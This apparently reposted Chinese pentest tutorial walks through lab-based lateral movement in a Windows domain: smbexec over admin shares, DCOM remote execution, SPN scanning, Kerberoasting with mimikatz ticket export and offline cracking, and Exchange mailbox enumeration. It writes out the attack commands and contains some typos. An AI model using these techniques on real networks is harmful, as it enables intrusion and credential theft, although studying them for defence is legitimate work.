内网渗透基石篇–域内横向移动分析及防御(下) – 作者:pony686

前言:在决定认真的那一刻,我知道我会成功。
在彼此看不见的时光,我会变得熠熠生辉。
为你,为我。

一、 smbexcc的使用

smbexec可以通过文件共享(admin$,c$,ipc$,d$)在远程系统中执行命令

可以在cmd 输入net share查看

1.C++版smbexec

C++版smbexec的下载地址https://github.com/sunorr/smbexec

工具使用

(1)smbexec

test.exe 客户端主程序

execserver.exe 目标系统中的辅助程序

常见的smbexec命令如下

test.exe ip username password command netshare

实验流程:

建立ipc$ net use \\ip\ipc$ “密码” /user:用户名

把execserver.exe上传到靶机

copy execserver.exe \\ip\c$\windows\

然后把net use建立的ipc$删除掉,直接可以使用test.exe进行远程命令 test.exe 目标ip 用户名 密码 whoami c$

2.impacket工具包中的smbexec.py

如果密码中有@字符可以使用\转义 python smbexec.py 域名/用户名:密码@ip

smbexec.exe HACKE/administrator:Admin!@#[email protected]

1626088373_60ec23b5ba0d4ebb51f80.png!small?1626088372736

3 Linux 跨windows远程执行命令

1.工具安装

1626088382_60ec23bee91e17f5f7d11.png!small?1626088381866

1.chmod +x install.sh && ./install.sh

1626088395_60ec23cb9dfabee9d58f9.png!small?16260883945752.然后选择1,开始安装。

1626088407_60ec23d7bf173de69a324.png!small?1626088407358

3.安装成功后,输入smbexec。

1626088420_60ec23e4cb5fe6f7a4d71.png!small?1626088420889

二、 DCOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)

1.通过本地DCOM执行命令

1、获取DCOM程序列表

Get-CimInstance这个cmdlet(PowerShell命令行)默认只在powershell3.0以上版本中存在。因此只在windows server 2012及以上本本的操作系统才可以使用Get-CimInstance

1626088434_60ec23f24dc913994ec39.png!small?1626088433940

Windows7、Windows server 2008中默认安装的是powershell 2.0。不支持Get-CimInstance。可以使用如下命令代替

1626088445_60ec23fde3149a3d04a30.png!small?1626088444864

2.使用DCOM执行任意命令

在本地启动一个管理员权限的PowerShell,执行如下命令,该方法通过ExecuteShellCommand运行了计算器程序,可把计算器换成其他的payload

1626088454_60ec24068e4c51c15f9b2.png!small?1626088453499

3 使用DCOM在远程机器上执行命令

这个方法需要关闭系统防火墙。在远程机器上执行命令时,必须使用具有本地管理员权限的账号。

实验

实验环境

域控制器

IP地址:192.168.1.1

域名:hacke.testx

用户名:administrator

密码:zxc123123

域成员服务器

IP地址:192.168.1.2

域名:hacke.testx

用户名:administrator

密码:zxc123123

1626088465_60ec24116c5d61097906e.png!small?1626088464319

2、执行命令

(1)调用MMC20.Application远程执行命令

建立ipc$后,输入如下命令,在远程系统小红运行calc.exe。在目标系统中启动任务管理器,可看到calc.exe正在运行

1626088474_60ec241ada236cf988ed8.png!small?1626088473817

1626088482_60ec2422d0718b90f2e2a.png!small?1626088481785

(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

在域成员机上打开powershell,输入如下命令,在域控制器上可看到正在运行的calc.exe

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe", "c:\windows\system32",$null,0)

1626088497_60ec2431ac57f2e62d362.png!small?1626088496599

1626088505_60ec2439d067fe7c30243.png!small?1626088504777

这两种方法均适用于windows7-windows10、windows server2008-windwos server2016

三、 SPN 在域环境中的应用

Windows域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主题名称(Service Principal Name SPN

1.SPN扫描

1.相关概念

在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkServiceLocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

Kerberos身份验证使用SPN将服务实例与服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给给定的服务实例可以有多个SPN。如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所有主机的每个名称或别名注册一个SPN。

根据Kerberos协议,当用户输入自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据)

SPN命令的格式如下
SPN = serviceclass "/" hostname [":"port] ["/" servicename]

serviceclass:服务组件名称

hostname:以“/”与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)

port:以冒号分隔,后面的内容为该服务监听的端口号

servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名

2.常见SPN服务

MSSQL服务的示例代码

MSSQLSvc/Motoo-DBSRV.Motoo.nc:1433

MSSQLSve:服务组件的名称,此处为MSSQL服务

computer1.hacke.testlab:主机名为computer1,域名为hacke.testlab

1433:监听的端口为1433

serviceclass和hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对某端口进行监听时才会使用

Exchange服务的示例代码

Exchange服务的示例代码

exchangeMDB/MOTOO-OWA2010.Motoo.nc

RDP服务的示例代码

TERMSRV/Motoo-OWA2010.Motoo.nc

WSMan/WinRM/PSRemoting服务的示例代码

WSMAN/Motoo-OWA2010.Motoo.nc

3.用于进行SPN扫描的powershell脚本

当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipa1Name属性中。在安装新服务后,SPN也会被记录在计算机账号的相应属性中。

SPN扫描也称作“扫描Kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口相比,SPN扫描的主要特点是不需要痛殴连接网络中的每个IP地址来检查服务端口(不会因触发内网中的IPS,IDS等设备的规则而产生大量的告警日志)因SPN查询是Kerberos票据行为的一部分

Powershell-AD-Recon工具提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。

下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon

也可以利用Windows自带的setspn工具,普通域用户权限执行即可

1626088647_60ec24c7ccf18593793ab.png!small?1626088646780

(2)扫描域中所有的SPN信

Import-Module.\Discover-PSInterestingServices
Discover-PSInterestingServices

四.Kerberoast攻击分与防范

Kerberoast是一种针对kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送Kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效且具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5),就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应于该计算机服务账号的密码

在域环境中,可以通过Kerberos使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。使用该方法,大多操作可离线完成,不会向目标系统发送任何信息,因此不会引起安全设备报警。由于大多网络的域环境策略不够严格(没有给计算机服务账号密码过期时间:计算机服务账号的权限过高;计算机服务账号的密码域普通域账号的密码相同),因此,计算机服务账号的密码很容易受到Kerberoast攻击的影响

实验:配置MSSQL服务,破解该服务的票据

(1)手动注册 SPN

手动为MSSQL服务账号注册SPN

setspn -A MSSQLSvc/computer1.pentest.com:1433 mssql
setspn -A MSSQLSvc/Motoo-DBSRV.Motoo.nc:1433 mssql

(2)查看 用户所对应的SPN

查看用户所对应的SPN

查看所有注册的SPN

setspn -T domain -q */*

查看指定用户注册的SPN

setspn -L pentest.com\mssql

(3) 使用adsiedit.msc查看用户SPN及其他高级属性

(4) 配置指定服务的登录权限

在活动目录中为用户配置指定服务的登录权限

gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Log on as a service

(5) 修改加密类型

因为Kerberos协议的默认加密方式是AES256_HMAC,而通过tgsreperack.py无法破解该加密方式,因此,我们可以通过服务器组策略将加密方式设置为RC_HMAC_MD5,命令如下

gpedit.msc\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security: Configure encryption types allowed for Kerberos

(6) 请求SPN Kerberos票据

打开powershell 输入如下命令

Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MMSQLSvc/computer1.pentest.com"

(7) 导出票据

在mimikatz中执行如下命令,将内存中的票据导出

kerberos::list /export

(8) 使用Kerberoat脚本离线破解票据所对应账号的NTLM Hash

下载Kerberoast地址:https://github.com/nidem/kerberoast

将MSSQL服务所对应的票据复制到安装了kerberoast的机器上,用kerberoast中的tgsreperack.py脚本运行,功能是离线破解票据的NTLM Hash ,如果破解成功,该票据所对应的账号密码将被打印到屏幕上

python tgsreperack.py wordlist.txt mssql.kirbi

2.防范建议

针对Kerberoast攻击

1.针防范Kerberoast攻击最有效的方法是:确保服务账户密码的长度超过25位;确保密码的随机性,定期修改服务账户的密码

2.如果攻击者无法将默认的AES256_HMAC加密方式改为RC-4_HMAC_MD5,就无法使用tgsrepcrack.py

3.攻击者可以通过嗅探的方法抓取Kerberos TGS票据

5.11 Exchange 邮件服务器安全防范

Exchange是微软的电子邮件服务组件,是一个消息与协作系统。Exchange在学校和企业有着大量的使用。其主要版本如下:

Exchange 2003

Exchange 2007

Exchange 2010

Exchange 2013

Exchange 2016

Exchange 201

Exchange服务器可以本地化的形式部署。也可以Exchange online的方式,将Exchange服务器托管到微软云端。Exchange提供了极强的可扩展性、可靠性、可用性,以及极高的处理性能与安全性能。且Exchange与活动目录、域服务、全局编排目录及微软的其他相关服务和组件有着紧密的联系

Exchange支持powershell对其进行本地或远程操作,方便运维也方便了我们的渗透

五、 Exchange 邮件服务器介绍

1.邮件服务器角色介绍

通过划分不同的服务器角色(使它们能执行属于自己的组件和服务),以及为这些角色设置依存关系,Exchange讲话电子邮件处理变成了一个亲啊更大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络层目录层消息层。服务器角色处在消息层

如Exchange server 2010版本,共有五个服务器角色,分别是邮件服务器、客户端访问服务器、集线传输服务器、统一消息服务器、边缘传输服务器。除了传输服务器,其他服务器角色都可以部署在同一台主机上。邮件服务器、客户端访问服务器、集线传输服务器是核心服务器角色,只要部署这三个角色就能提供基本的电子邮件处理功能

邮件服务器(Moilbox Serber):

提供托管邮件、公共文件夹及相关消息数据(例如地址表)的后段组件,是必选的服务器角色

客户端访问服务器(C lient Access Server):

接收和处理来自不同客户端的请求的服务器角色,为通过不同的协议进行的访问提供支持。在一个Exchange环境中,至少需要部署一个客户端访问服务器

集线传输服务器(Hub transport Server):

也称中心传输服务器。该服务器角色的核心服务就是Microsoft Exchange transport,负责处理哦Mail Flow(Exchange管理员通过Mail Flow实现邮件出站与进站配置)、对邮件进行路由及在Exchange组件中进行分发。该服务器角色处理所有发往本地邮箱和外部邮箱的邮件,确保邮件发送者和接收者的地址被正确地解析并能够执行后特定的策略(例如邮件地址过滤、内容过滤、格式转换),同时,可以进行记录、审计、添加免责声明等操作。其角色相当于一个邮件传输的中继站,在一个Exchange环境中,至少需要部署一个集线传输服务器

统一消息服务器(Unified Messaging Server):

将专用交换机和Exchange服务器集成在一起,允许用户通过邮件发送、存储语音消息和传真消息。该服务器角色为可选角色

边缘传输服务器(Edge transport Server):

专用服务器,可用于路由发往内部或外部的邮件,通常部署在网络边界并用于设置安全边界。该服务器角色接受来自内部组织和外部可信服务器的邮件,对这些邮件应用特定的反垃圾邮件、反病毒策略、将通过策略筛选的邮件路由到内部的集线传输服务器上。该服务器角色为可选角色

2.客户端/远程接口和协议

电子邮件通信一般分为邮件发送和邮件接收两个过程。邮件发送使用统一的通信协议,既SMTP(简单邮件传输协议)。邮件接收则会使用多种协议标准,例如POP(邮局协议)发展而来的POP3,以及使用较为广泛的IMAP(internet邮件访问协议)Exchange开发了私有的MAPI协议(用于收取邮件)。新版本的Outlook通常使用MAPI协议与Exchange进行交互。早期Outlook使用名为Outlook Anywhere的RPC进行交互

Exchange支持的访问接口和协议列举如下

OWA(Outlook Web App):Exchange提供的Web邮箱

EAC(Exchange Administrator center):Exchange管理中心,是组织中的Exchange的Web控制台

OutlookAnywhere(RPC-over-HTTP, RPC/HTTP)

MAPI (MAPI-over-HTTP, MAPI/HTTP)

Exchange ActiveSync(EAS, XML/HTTP)

Exchange Web Service(EWS, SOAP-over-HTTP)

3. Exchange服务发现

1、基于端口扫描发现

需要与主机进行交互,产生大量通信流量,会造成IDS报警,并留下大量的日志

nmap -A -S -sV 10.211.55.7

2、SPN查询

安装Exchange时,SPN被注册在活动目录中了。在域环境中,可以通过SPN来发现Exchange服务,这里使用windows自带的setspnon.exe获取。其中exchangeRFR、exchangeAB、exchangeMDB、 SMTP、SmtpSvc都是Exchange注册的服务

setspn -T Motoo.nc -F -Q */*

1626088686_60ec24ee62bba7d45a092.png!small?1626088685346

4. Exchange的基本操作

Exchange是一个电子邮件系统,自然会存在数据库。Exchange数据库的后缀为.edb,存储在Exchange服务器上。通过exchange发送、接收、存储的邮件,都会存储在exchange的数据库中。可用powershell查看exchange数据库中的信息。

1.导出邮箱列表

查看数据库

邮箱数据库是创建和存储邮箱的粒度的单位。邮箱数据库以 Exchange 数据库 (.edb) 文件的形式存储。存储结构分为直接附加存储 (DAS)和存储区域网络 (SAN)。我们可以通过 Get-MailboxDatabase cmdlet 从服务器或组织中检索一个或多个邮箱数据库对象。一般为了高可用性至少有两台服务器组成DGA,你可以通过-Server参数指定检索服务器。

get-mailboxdatabase -Server “exchange”

2.获取组

在域控中新建过OU(Organizational Unit)之后,我们往往会建立Group来管理用户。查询组的意义在于——往往你会看到有个组名字叫做IT,当然这一步和net group大同小异。通过Get-DistributionGroup cmdlet 查询现有通讯组。

Get-DistributionGroup

3.获得组成员

通过Get-DistributionGroupMember cmdlet 可以查找现有的通讯组成员。

Get-DistributionGroupMember -Identity “ENO”

4.获得用户admin(可以是域用户格式)邮箱信息

获取用户邮箱信息。通过以上步骤,我们大概知道了如何查询用户组中的成员,下面我们将使用Get-Mailbox cmdlet 获取邮箱对象和属性。再配合Get-MailboxStatistics cmdlet 获取有关邮箱的信息,例如,邮箱大小、所包含的邮件数、以及最后访问时间。

基本使用

Get-Mailbox | format-tables Name,WindowsEmailAddress

Get-Mailbox testuser | fl * | Out-File c:\mb.txt

Get-Mailbox | ForEach-Object {$_.Name}

总结

本文主要从内网横向移动剩下的部分出发,主要介绍当拿下一台主机之后如何使用一些工具来进行横向移动,扩大攻击范围。中间介绍了一些脚本和工具的使用,还做了几个实验来理解这些工具。

来源:freebuf.com 2021-07-12 19:32:44 by: pony686

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享